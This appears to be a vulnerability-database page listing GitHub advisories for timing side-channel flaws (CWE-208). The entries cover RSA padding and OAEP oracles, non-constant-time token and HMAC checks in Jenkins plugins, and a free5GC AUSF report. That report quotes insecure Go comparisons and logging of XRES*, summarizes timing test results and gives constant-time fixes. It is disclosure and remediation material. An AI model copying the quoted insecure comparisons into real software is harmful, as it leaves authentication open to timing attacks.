CWE-208
AllowedObservable Timing Discrepancy
Abstraction: Base · Status: Incomplete
Two separate operations in a product require different amounts of time to complete, in a way that is observable to an actor and reveals security-relevant information about the state of the product, such as whether a particular operation was successful or not.
356 vulnerabilities reference this CWE, most recent first.
GHSA-F34Q-F47H-V25C
Vulnerability from github – Published: 2026-08-13 09:31 – Updated: 2026-08-13 09:31Padding oracle attack vulnerability in Oberon microsystem AG’s Oberon PSA Crypto library in all versions since 1.0.0 and prior to 2.1.1 allows an attacker to recover plaintexts via timing measurements of RSA PKCS#1 v1.5 decrypt operations.
{
"affected": [],
"aliases": [
"CVE-2026-16459"
],
"database_specific": {
"cwe_ids": [
"CWE-208"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-13T09:17:12Z",
"severity": "MODERATE"
},
"details": "Padding oracle attack vulnerability in Oberon microsystem AG\u2019s Oberon PSA Crypto library in all versions since 1.0.0 and prior to 2.1.1 allows an attacker to recover plaintexts via timing measurements of RSA PKCS#1 v1.5 decrypt operations.",
"id": "GHSA-f34q-f47h-v25c",
"modified": "2026-08-13T09:31:10Z",
"published": "2026-08-13T09:31:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-16459"
},
{
"type": "WEB",
"url": "https://www.oberon.ch/security-advisories/cve-2026-16459"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-F9F9-4R63-4QCC
Vulnerability from github – Published: 2022-10-19 19:00 – Updated: 2022-12-16 17:22GitLab Plugin 1.5.35 and earlier does not use a constant-time comparison when checking whether the provided and expected webhook token are equal.
This could potentially allow attackers to use statistical methods to obtain a valid webhook token.
GitLab Plugin 1.5.36 uses a constant-time comparison when validating the webhook token.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.5.35"
},
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.plugins:gitlab-plugin"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.5.36"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-43411"
],
"database_specific": {
"cwe_ids": [
"CWE-203",
"CWE-208"
],
"github_reviewed": true,
"github_reviewed_at": "2022-10-19T22:22:43Z",
"nvd_published_at": "2022-10-19T16:15:00Z",
"severity": "LOW"
},
"details": "GitLab Plugin 1.5.35 and earlier does not use a constant-time comparison when checking whether the provided and expected webhook token are equal.\n\nThis could potentially allow attackers to use statistical methods to obtain a valid webhook token.\n\nGitLab Plugin 1.5.36 uses a constant-time comparison when validating the webhook token.",
"id": "GHSA-f9f9-4r63-4qcc",
"modified": "2022-12-16T17:22:29Z",
"published": "2022-10-19T19:00:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-43411"
},
{
"type": "WEB",
"url": "https://github.com/jenkinsci/gitlab-plugin/commit/882f84c6a42b42b74ff7c9803d814f61b8fde0ed"
},
{
"type": "PACKAGE",
"url": "https://github.com/jenkinsci/gitlab-plugin"
},
{
"type": "WEB",
"url": "https://www.jenkins.io/security/advisory/2022-10-19/#SECURITY-2877"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2022/10/19/3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Non-constant time webhook token comparison in Jenkins GitLab Plugin"
}
GHSA-FJ6F-6933-839J
Vulnerability from github – Published: 2022-05-24 17:07 – Updated: 2022-12-19 21:06Jenkins 2.218 and earlier, LTS 2.204.1 and earlier does not use a constant-time comparison when checking whether two HMACs are equal. This could potentially allow attackers to use statistical methods to obtain a valid HMAC for an attacker-controlled input value.
Jenkins 2.219, LTS 2.204.2 now uses a constant-time comparison when validating HMACs.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.204.1"
},
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.main:jenkins-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.204.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.218"
},
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.main:jenkins-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.205"
},
{
"fixed": "2.219"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-2102"
],
"database_specific": {
"cwe_ids": [
"CWE-203",
"CWE-208"
],
"github_reviewed": true,
"github_reviewed_at": "2022-12-19T21:06:59Z",
"nvd_published_at": "2020-01-29T16:15:00Z",
"severity": "MODERATE"
},
"details": "Jenkins 2.218 and earlier, LTS 2.204.1 and earlier does not use a constant-time comparison when checking whether two HMACs are equal. This could potentially allow attackers to use statistical methods to obtain a valid HMAC for an attacker-controlled input value.\n\nJenkins 2.219, LTS 2.204.2 now uses a constant-time comparison when validating HMACs.",
"id": "GHSA-fj6f-6933-839j",
"modified": "2022-12-19T21:06:59Z",
"published": "2022-05-24T17:07:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-2102"
},
{
"type": "WEB",
"url": "https://github.com/jenkinsci/jenkins/commit/6f35dbb939ebe947bdb1979010b208480f1d0e31"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHBA-2020:0402"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHBA-2020:0675"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2020:0681"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2020:0683"
},
{
"type": "PACKAGE",
"url": "https://github.com/jenkinsci/jenkins"
},
{
"type": "WEB",
"url": "https://jenkins.io/security/advisory/2020-01-29/#SECURITY-1660"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2020/01/29/1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Non-constant time HMAC comparison"
}
GHSA-FP46-6VFW-GC9C
Vulnerability from github – Published: 2026-08-28 22:26 – Updated: 2026-08-28 22:26Summary
The AUSF component of free5GC compares authentication response values with normal Go equality helpers instead of constant-time cryptographic comparison functions.
Two authentication flows are affected in internal/sbi/processor/ue_authentication.go:
- 5G-AKA confirmation compares
RES*andXRES*withstrings.EqualFold(). - EAP-AKA' confirmation compares
AT_MACwithbytes.Equal()and comparesXRESandRESwith==.
These functions are not designed to be constant-time cryptographic comparators and may return earlier depending on the location of the first mismatch.
Additionally, the 5G-AKA confirmation path logs both the received res* and the expected Xres* at INFO level immediately before comparing them. The XRES* value is authentication material and should not be written to application logs.
The timing side channel was confirmed as a code issue, but practical exploitation over HTTP was not demonstrated in the lab because the comparator-level signal is much smaller than HTTP/SBI noise. The XRES* logging issue is directly observable in AUSF logs.
Confirmed on github.com/free5gc/ausf v1.4.4 and current main as of the May 2026 analysis.
Details
5G-AKA: RES* / XRES*
In Auth5gAkaComfirmRequestProcedure(), the AUSF logs both values and then compares them with strings.EqualFold():
// internal/sbi/processor/ue_authentication.go
logger.Auth5gAkaLog.Infof("res*: %x\nXres*: %x\n",
updateConfirmationData.ResStar, ausfCurrentContext.XresStar)
if strings.EqualFold(updateConfirmationData.ResStar, ausfCurrentContext.XresStar) {
ausfCurrentContext.AuthStatus = models.AusfUeAuthenticationAuthResult_SUCCESS
confirmDataRsp.AuthResult = models.AusfUeAuthenticationAuthResult_SUCCESS
success = true
logger.Auth5gAkaLog.Infoln("5G AKA confirmation succeeded")
// ...
}
For hexadecimal ASCII strings, strings.EqualFold() performs a character comparison that can terminate when a mismatch is found. It is not a constant-time comparison primitive.
The line immediately before the comparison is more directly exploitable: it writes XresStar to INFO logs. Any operator, compromised sidecar, log collector, SIEM user, or local process with access to AUSF logs can read the expected response value for authentication attempts.
EAP-AKA': AT_MAC, XMAC, XRES, and RES
In EapAuthComfirmRequestProcedure(), the AUSF computes the expected MAC and compares it with the received AT_MAC using bytes.Equal():
K_autStr := ausfCurrentContext.K_aut
K_aut, _ := hex.DecodeString(K_autStr)
XMAC := CalculateAtMAC(K_aut, decodeEapAkaPrimePkt.MACInput)
MAC := decodeEapAkaPrimePkt.Attributes[ausf_context.AT_MAC_ATTRIBUTE].Value
XRES := ausfCurrentContext.XRES
RES := hex.EncodeToString(decodeEapAkaPrimePkt.Attributes[ausf_context.AT_RES_ATTRIBUTE].Value)
if !bytes.Equal(MAC, XMAC) {
eapOK = false
eapErrStr = "EAP-AKA' integrity check fail"
} else if XRES == RES {
logger.AuthELog.Infoln("Correct RES value, EAP-AKA' auth succeed")
// ...
}
bytes.Equal() is not specified as a constant-time cryptographic comparison. The subsequent XRES == RES string comparison is also not constant-time. The correct primitive for comparing authentication tags and secret response values in Go is crypto/subtle.ConstantTimeCompare, after validating and normalizing input length and encoding.
The EAP-AKA' case is harder to exploit remotely than the 5G-AKA case because the XRES == RES comparison is reached only if AT_MAC is valid. Producing a valid AT_MAC requires session-specific K_aut.
Evidence
Static evidence
Static analysis confirmed:
strings.EqualFold(updateConfirmationData.ResStar, ausfCurrentContext.XresStar)in the 5G-AKA confirmation path.logger.Auth5gAkaLog.Infof("res*: %x\nXres*: %x\n", ...)immediately before the comparison.bytes.Equal(MAC, XMAC)in the EAP-AKA' confirmation path.XRES == RESin the EAP-AKA' confirmation path.crypto/subtleis absent from the AUSF authentication processor code.
Internal evidence:
hallazgos/finding10-hres-timing/evidencia/20260526-090151-static-analysis/
hallazgos/finding11-eap-mac-timing/evidencia/20260526-094642-static-analysis/
5G-AKA timing and logging evidence
A timing PoC sent 500 iterations per condition over loopback HTTP/SBI:
Condition A: mismatch near the start
Condition B: mismatch in the middle
Condition C: mismatch near the end
Condition D: full match
The comparator-position signal was not distinguishable from HTTP noise:
Delta C-A: approximately -1.5 us
2-sigma noise threshold: approximately 557 us
Result: SIGNAL NOT CLEAR
This is consistent with the expected signal-to-noise ratio: the comparator-level timing difference is in the nanosecond range, while the HTTP/SBI path adds hundreds of microseconds of variance.
The same lab run confirmed that AUSF logs include XresStar in plaintext at INFO level. This does not require statistical inference.
Internal evidence:
hallazgos/finding10-hres-timing/evidencia/20260526-093558-timing-poc/
EAP-AKA' timing evidence
A timing PoC sent 500 iterations per condition against the EAP-AKA' confirmation path:
A: first MAC byte incorrect
B: first 8 MAC bytes correct
C: MAC correct, XRES incorrect
D: MAC correct, XRES correct
Observed medians were all around 464-467 us, and the HTTP-level timing signal was not detectable:
A: 466.6 us
B: 466.5 us
C: 464.2 us
D: 464.2 us
Delta D-A: approximately -2.4 us
2-sigma noise threshold: approximately 716 us
Result: SIGNAL NOT CLEAR
This confirms the expected practical limitation of a remote HTTP timing attack.
Internal evidence:
hallazgos/finding11-eap-mac-timing/evidencia/20260526-103822-timing-poc/
Local CPU benchmark for bytes.Equal()
A direct Go microbenchmark without HTTP overhead measured bytes.Equal() for 16-byte values. The raw benchmark data showed a monotonic increase as more leading bytes matched. The median delta from N=0 matching bytes to N=15 matching bytes was roughly 0.31 ns, or more than 20%.
This confirms that the local comparator is not position-independent at CPU level, even though the signal is too small to exploit remotely over HTTP in normal conditions.
Internal evidence:
hallazgos/finding11-eap-mac-timing/evidencia/20260526-104842-cpu-benchmark/
Uprobe path confirmation
Linux uprobes on the live AUSF process confirmed that requests reach the relevant comparison paths:
- MAC comparison path is hit for both failing and successful EAP-AKA' attempts.
- XRES comparison path is hit only when MAC verification passes.
Internal evidence:
hallazgos/finding11-eap-mac-timing/evidencia/20260526-053510-ebpf-uprobe/
Impact
There are two impact classes.
Sensitive value in logs
The 5G-AKA path logs XRES*, the expected response value, at INFO level. In deployments where AUSF logs are collected centrally or are readable by lower-privileged operators, infrastructure agents, compromised containers, or log-processing systems, this exposes authentication material that should remain internal to the authentication procedure.
The exact exploitability depends on whether the attacker can correlate log access with an active authentication context and submit the confirmation before the context is consumed or failed. Regardless, writing XRES* to application logs is an unsafe handling of authentication material.
Timing side channel / cryptographic hardening issue
The non-constant-time comparisons are real code issues and should be fixed, but we did not demonstrate a practical remote timing oracle over HTTP/SBI. The measured comparator signal is too small relative to HTTP noise in the lab.
The risk is higher in environments where an attacker has a lower-noise measurement point, local co-residency, kernel tracing capabilities, or another side channel that can observe the comparison more directly.
Suggested remediation
-
Remove
XRES*,RES*,XRES,RES,K_aut,AT_MAC, and derived authentication material from INFO logs. If logging is necessary, log only metadata such as the authentication context ID, SUPI/SUCI in redacted form, result, and failure class. -
Replace
strings.EqualFold()and string==comparisons for authentication values with constant-time comparisons. -
Normalize encodings before comparison. For hex-encoded values, decode both inputs first, validate expected lengths, and then compare fixed-size byte slices.
Example for 5G-AKA:
resStar, err1 := hex.DecodeString(updateConfirmationData.ResStar)
xresStar, err2 := hex.DecodeString(ausfCurrentContext.XresStar)
if err1 == nil && err2 == nil &&
len(resStar) == len(xresStar) &&
subtle.ConstantTimeCompare(resStar, xresStar) == 1 {
// success
} else {
// failure
}
Example for EAP-AKA' MAC:
if len(MAC) != len(XMAC) || subtle.ConstantTimeCompare(MAC, XMAC) != 1 {
eapOK = false
eapErrStr = "EAP-AKA' integrity check fail"
}
Example for EAP-AKA' XRES:
res, err1 := hex.DecodeString(RES)
xres, err2 := hex.DecodeString(XRES)
if err1 == nil && err2 == nil &&
len(res) == len(xres) &&
subtle.ConstantTimeCompare(res, xres) == 1 {
// success
}
-
Add unit tests that ensure authentication values are not written to logs.
-
Consider avoiding a second UDM notification call in the 5G-AKA failure path if the first failure notification already reports the result. In the lab, failure performed two UDM calls while success performed one; this creates a coarse success/failure timing difference, although that result is already visible through the API response.
Prior art / non-duplication note
Known recent free5GC AUSF issues such as CVE-2026-33063 concern different failure modes and code paths. This report concerns cryptographic comparison and logging behavior in internal/sbi/processor/ue_authentication.go.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/free5gc/ausf"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55785"
],
"database_specific": {
"cwe_ids": [
"CWE-208",
"CWE-385",
"CWE-532"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-28T22:26:16Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "### Summary\n\nThe AUSF component of free5GC compares authentication response values with normal Go equality helpers instead of constant-time cryptographic comparison functions.\n\nTwo authentication flows are affected in `internal/sbi/processor/ue_authentication.go`:\n\n1. 5G-AKA confirmation compares `RES*` and `XRES*` with `strings.EqualFold()`.\n2. EAP-AKA\u0027 confirmation compares `AT_MAC` with `bytes.Equal()` and compares `XRES` and `RES` with `==`.\n\nThese functions are not designed to be constant-time cryptographic comparators and may return earlier depending on the location of the first mismatch.\n\nAdditionally, the 5G-AKA confirmation path logs both the received `res*` and the expected `Xres*` at INFO level immediately before comparing them. The `XRES*` value is authentication material and should not be written to application logs.\n\nThe timing side channel was confirmed as a code issue, but practical exploitation over HTTP was not demonstrated in the lab because the comparator-level signal is much smaller than HTTP/SBI noise. The `XRES*` logging issue is directly observable in AUSF logs.\n\nConfirmed on `github.com/free5gc/ausf` v1.4.4 and current main as of the May 2026 analysis.\n\n### Details\n\n#### 5G-AKA: `RES*` / `XRES*`\n\nIn `Auth5gAkaComfirmRequestProcedure()`, the AUSF logs both values and then compares them with `strings.EqualFold()`:\n\n```go\n// internal/sbi/processor/ue_authentication.go\nlogger.Auth5gAkaLog.Infof(\"res*: %x\\nXres*: %x\\n\",\n updateConfirmationData.ResStar, ausfCurrentContext.XresStar)\n\nif strings.EqualFold(updateConfirmationData.ResStar, ausfCurrentContext.XresStar) {\n ausfCurrentContext.AuthStatus = models.AusfUeAuthenticationAuthResult_SUCCESS\n confirmDataRsp.AuthResult = models.AusfUeAuthenticationAuthResult_SUCCESS\n success = true\n logger.Auth5gAkaLog.Infoln(\"5G AKA confirmation succeeded\")\n // ...\n}\n```\n\nFor hexadecimal ASCII strings, `strings.EqualFold()` performs a character comparison that can terminate when a mismatch is found. It is not a constant-time comparison primitive.\n\nThe line immediately before the comparison is more directly exploitable: it writes `XresStar` to INFO logs. Any operator, compromised sidecar, log collector, SIEM user, or local process with access to AUSF logs can read the expected response value for authentication attempts.\n\n#### EAP-AKA\u0027: `AT_MAC`, `XMAC`, `XRES`, and `RES`\n\nIn `EapAuthComfirmRequestProcedure()`, the AUSF computes the expected MAC and compares it with the received `AT_MAC` using `bytes.Equal()`:\n\n```go\nK_autStr := ausfCurrentContext.K_aut\nK_aut, _ := hex.DecodeString(K_autStr)\nXMAC := CalculateAtMAC(K_aut, decodeEapAkaPrimePkt.MACInput)\nMAC := decodeEapAkaPrimePkt.Attributes[ausf_context.AT_MAC_ATTRIBUTE].Value\nXRES := ausfCurrentContext.XRES\nRES := hex.EncodeToString(decodeEapAkaPrimePkt.Attributes[ausf_context.AT_RES_ATTRIBUTE].Value)\n\nif !bytes.Equal(MAC, XMAC) {\n eapOK = false\n eapErrStr = \"EAP-AKA\u0027 integrity check fail\"\n} else if XRES == RES {\n logger.AuthELog.Infoln(\"Correct RES value, EAP-AKA\u0027 auth succeed\")\n // ...\n}\n```\n\n`bytes.Equal()` is not specified as a constant-time cryptographic comparison. The subsequent `XRES == RES` string comparison is also not constant-time. The correct primitive for comparing authentication tags and secret response values in Go is `crypto/subtle.ConstantTimeCompare`, after validating and normalizing input length and encoding.\n\nThe EAP-AKA\u0027 case is harder to exploit remotely than the 5G-AKA case because the `XRES == RES` comparison is reached only if `AT_MAC` is valid. Producing a valid `AT_MAC` requires session-specific `K_aut`.\n\n### Evidence\n\n#### Static evidence\n\nStatic analysis confirmed:\n\n- `strings.EqualFold(updateConfirmationData.ResStar, ausfCurrentContext.XresStar)` in the 5G-AKA confirmation path.\n- `logger.Auth5gAkaLog.Infof(\"res*: %x\\nXres*: %x\\n\", ...)` immediately before the comparison.\n- `bytes.Equal(MAC, XMAC)` in the EAP-AKA\u0027 confirmation path.\n- `XRES == RES` in the EAP-AKA\u0027 confirmation path.\n- `crypto/subtle` is absent from the AUSF authentication processor code.\n\nInternal evidence:\n\n```text\nhallazgos/finding10-hres-timing/evidencia/20260526-090151-static-analysis/\nhallazgos/finding11-eap-mac-timing/evidencia/20260526-094642-static-analysis/\n```\n\n#### 5G-AKA timing and logging evidence\n\nA timing PoC sent 500 iterations per condition over loopback HTTP/SBI:\n\n```text\nCondition A: mismatch near the start\nCondition B: mismatch in the middle\nCondition C: mismatch near the end\nCondition D: full match\n```\n\nThe comparator-position signal was not distinguishable from HTTP noise:\n\n```text\nDelta C-A: approximately -1.5 us\n2-sigma noise threshold: approximately 557 us\nResult: SIGNAL NOT CLEAR\n```\n\nThis is consistent with the expected signal-to-noise ratio: the comparator-level timing difference is in the nanosecond range, while the HTTP/SBI path adds hundreds of microseconds of variance.\n\nThe same lab run confirmed that AUSF logs include `XresStar` in plaintext at INFO level. This does not require statistical inference.\n\nInternal evidence:\n\n```text\nhallazgos/finding10-hres-timing/evidencia/20260526-093558-timing-poc/\n```\n\n#### EAP-AKA\u0027 timing evidence\n\nA timing PoC sent 500 iterations per condition against the EAP-AKA\u0027 confirmation path:\n\n```text\nA: first MAC byte incorrect\nB: first 8 MAC bytes correct\nC: MAC correct, XRES incorrect\nD: MAC correct, XRES correct\n```\n\nObserved medians were all around 464-467 us, and the HTTP-level timing signal was not detectable:\n\n```text\nA: 466.6 us\nB: 466.5 us\nC: 464.2 us\nD: 464.2 us\nDelta D-A: approximately -2.4 us\n2-sigma noise threshold: approximately 716 us\nResult: SIGNAL NOT CLEAR\n```\n\nThis confirms the expected practical limitation of a remote HTTP timing attack.\n\nInternal evidence:\n\n```text\nhallazgos/finding11-eap-mac-timing/evidencia/20260526-103822-timing-poc/\n```\n\n#### Local CPU benchmark for `bytes.Equal()`\n\nA direct Go microbenchmark without HTTP overhead measured `bytes.Equal()` for 16-byte values. The raw benchmark data showed a monotonic increase as more leading bytes matched. The median delta from `N=0` matching bytes to `N=15` matching bytes was roughly 0.31 ns, or more than 20%.\n\nThis confirms that the local comparator is not position-independent at CPU level, even though the signal is too small to exploit remotely over HTTP in normal conditions.\n\nInternal evidence:\n\n```text\nhallazgos/finding11-eap-mac-timing/evidencia/20260526-104842-cpu-benchmark/\n```\n\n#### Uprobe path confirmation\n\nLinux uprobes on the live AUSF process confirmed that requests reach the relevant comparison paths:\n\n- MAC comparison path is hit for both failing and successful EAP-AKA\u0027 attempts.\n- XRES comparison path is hit only when MAC verification passes.\n\nInternal evidence:\n\n```text\nhallazgos/finding11-eap-mac-timing/evidencia/20260526-053510-ebpf-uprobe/\n```\n\n### Impact\n\nThere are two impact classes.\n\n#### Sensitive value in logs\n\nThe 5G-AKA path logs `XRES*`, the expected response value, at INFO level. In deployments where AUSF logs are collected centrally or are readable by lower-privileged operators, infrastructure agents, compromised containers, or log-processing systems, this exposes authentication material that should remain internal to the authentication procedure.\n\nThe exact exploitability depends on whether the attacker can correlate log access with an active authentication context and submit the confirmation before the context is consumed or failed. Regardless, writing `XRES*` to application logs is an unsafe handling of authentication material.\n\n#### Timing side channel / cryptographic hardening issue\n\nThe non-constant-time comparisons are real code issues and should be fixed, but we did not demonstrate a practical remote timing oracle over HTTP/SBI. The measured comparator signal is too small relative to HTTP noise in the lab.\n\nThe risk is higher in environments where an attacker has a lower-noise measurement point, local co-residency, kernel tracing capabilities, or another side channel that can observe the comparison more directly.\n\n### Suggested remediation\n\n1. Remove `XRES*`, `RES*`, `XRES`, `RES`, `K_aut`, `AT_MAC`, and derived authentication material from INFO logs. If logging is necessary, log only metadata such as the authentication context ID, SUPI/SUCI in redacted form, result, and failure class.\n\n2. Replace `strings.EqualFold()` and string `==` comparisons for authentication values with constant-time comparisons.\n\n3. Normalize encodings before comparison. For hex-encoded values, decode both inputs first, validate expected lengths, and then compare fixed-size byte slices.\n\nExample for 5G-AKA:\n\n```go\nresStar, err1 := hex.DecodeString(updateConfirmationData.ResStar)\nxresStar, err2 := hex.DecodeString(ausfCurrentContext.XresStar)\n\nif err1 == nil \u0026\u0026 err2 == nil \u0026\u0026\n len(resStar) == len(xresStar) \u0026\u0026\n subtle.ConstantTimeCompare(resStar, xresStar) == 1 {\n // success\n} else {\n // failure\n}\n```\n\nExample for EAP-AKA\u0027 MAC:\n\n```go\nif len(MAC) != len(XMAC) || subtle.ConstantTimeCompare(MAC, XMAC) != 1 {\n eapOK = false\n eapErrStr = \"EAP-AKA\u0027 integrity check fail\"\n}\n```\n\nExample for EAP-AKA\u0027 XRES:\n\n```go\nres, err1 := hex.DecodeString(RES)\nxres, err2 := hex.DecodeString(XRES)\n\nif err1 == nil \u0026\u0026 err2 == nil \u0026\u0026\n len(res) == len(xres) \u0026\u0026\n subtle.ConstantTimeCompare(res, xres) == 1 {\n // success\n}\n```\n\n4. Add unit tests that ensure authentication values are not written to logs.\n\n5. Consider avoiding a second UDM notification call in the 5G-AKA failure path if the first failure notification already reports the result. In the lab, failure performed two UDM calls while success performed one; this creates a coarse success/failure timing difference, although that result is already visible through the API response.\n\n### Prior art / non-duplication note\n\nKnown recent free5GC AUSF issues such as CVE-2026-33063 concern different failure modes and code paths. This report concerns cryptographic comparison and logging behavior in `internal/sbi/processor/ue_authentication.go`.",
"id": "GHSA-fp46-6vfw-gc9c",
"modified": "2026-08-28T22:26:16Z",
"published": "2026-08-28T22:26:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/free5gc/free5gc/security/advisories/GHSA-fp46-6vfw-gc9c"
},
{
"type": "WEB",
"url": "https://github.com/free5gc/ausf/commit/7a5a4aa1ec6cd0e1febebf333911c3104968edf0"
},
{
"type": "PACKAGE",
"url": "https://github.com/free5gc/free5gc"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "free5GC AUSF uses non-constant-time authentication comparisons and logs XRES* in 5G-AKA"
}
GHSA-FPJ7-9XM6-8HGR
Vulnerability from github – Published: 2022-01-21 23:38 – Updated: 2023-05-24 14:00Jenkins Configuration as Code Plugin prior to 1.55.1, 1.54.1, 1.53.1, and 1.47.1 does not use a constant-time comparison when checking whether two authentication tokens are equal.
This could potentially allow attackers to use statistical methods to obtain a valid authentication token.
Configuration as Code Plugin 1.55.1, 1.54.1, 1.53.1, and 1.47.1 now uses a constant-time comparison when validating authentication tokens.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.jenkins:configuration-as-code"
},
"ranges": [
{
"events": [
{
"introduced": "1.55"
},
{
"fixed": "1.55.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1.55"
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.jenkins:configuration-as-code"
},
"ranges": [
{
"events": [
{
"introduced": "1.54"
},
{
"fixed": "1.54.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1.54"
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.jenkins:configuration-as-code"
},
"ranges": [
{
"events": [
{
"introduced": "1.48"
},
{
"fixed": "1.53.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.jenkins:configuration-as-code"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.47.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-23106"
],
"database_specific": {
"cwe_ids": [
"CWE-203",
"CWE-208"
],
"github_reviewed": true,
"github_reviewed_at": "2022-01-20T14:42:40Z",
"nvd_published_at": "2022-01-12T20:15:00Z",
"severity": "LOW"
},
"details": "Jenkins Configuration as Code Plugin prior to 1.55.1, 1.54.1, 1.53.1, and 1.47.1 does not use a constant-time comparison when checking whether two authentication tokens are equal.\n\nThis could potentially allow attackers to use statistical methods to obtain a valid authentication token.\n\nConfiguration as Code Plugin 1.55.1, 1.54.1, 1.53.1, and 1.47.1 now uses a constant-time comparison when validating authentication tokens.",
"id": "GHSA-fpj7-9xm6-8hgr",
"modified": "2023-05-24T14:00:21Z",
"published": "2022-01-21T23:38:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-23106"
},
{
"type": "WEB",
"url": "https://github.com/jenkinsci/configuration-as-code-plugin/commit/4f425675edf77d382a6fd10890f1a704ff3b2277"
},
{
"type": "WEB",
"url": "https://github.com/CVEProject/cvelist/blob/00bfb5abeecc9f553a2f42954ee540e493498ee9/2022/23xxx/CVE-2022-23106.json"
},
{
"type": "PACKAGE",
"url": "https://github.com/jenkinsci/configuration-as-code-plugin"
},
{
"type": "WEB",
"url": "https://www.jenkins.io/security/advisory/2022-01-12/#SECURITY-2141"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2022/01/12/6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Observable Discrepancy and Observable Timing Discrepancy in Jenkins Configuration as Code Plugin"
}
GHSA-FV5R-GP2C-7MWV
Vulnerability from github – Published: 2026-08-11 18:30 – Updated: 2026-08-12 21:31A timing side-channel vulnerability exists in the RSA OAEP decryption implementation. A privileged local attacker with access to the TPM command interface may be able to exploit timing differences to recover information that could allow decryption of ciphertexts encrypted to TPM-managed RSA keys, including the RSA Endorsement Key (EK), including import blobs, credential blobs, and session salts. Under certain conditions, this may also enable the forgery of TPM 2.0 attestations. Refer to TCGVRT0011.
{
"affected": [],
"aliases": [
"CVE-2026-6727"
],
"database_specific": {
"cwe_ids": [
"CWE-208"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-11T16:17:34Z",
"severity": "MODERATE"
},
"details": "A timing side-channel vulnerability exists in the RSA OAEP decryption implementation. A privileged local attacker with access to the TPM command interface may be able to exploit timing differences to recover information that could allow decryption of ciphertexts encrypted to TPM-managed RSA keys, including the RSA Endorsement Key (EK), including import blobs, credential blobs, and session salts. Under certain conditions, this may also enable the forgery of TPM 2.0 attestations. Refer to TCGVRT0011.",
"id": "GHSA-fv5r-gp2c-7mwv",
"modified": "2026-08-12T21:31:28Z",
"published": "2026-08-11T18:30:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6727"
},
{
"type": "WEB",
"url": "https://trustedcomputinggroup.org/about/security"
},
{
"type": "WEB",
"url": "https://trustedcomputinggroup.org/wp-content/uploads/Extended-vrt0010-11-guidance_V1.pdf"
},
{
"type": "WEB",
"url": "https://trustedcomputinggroup.org/wp-content/uploads/VRT0011-Advisory_Final-1.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FW6M-5FQ2-8FQR
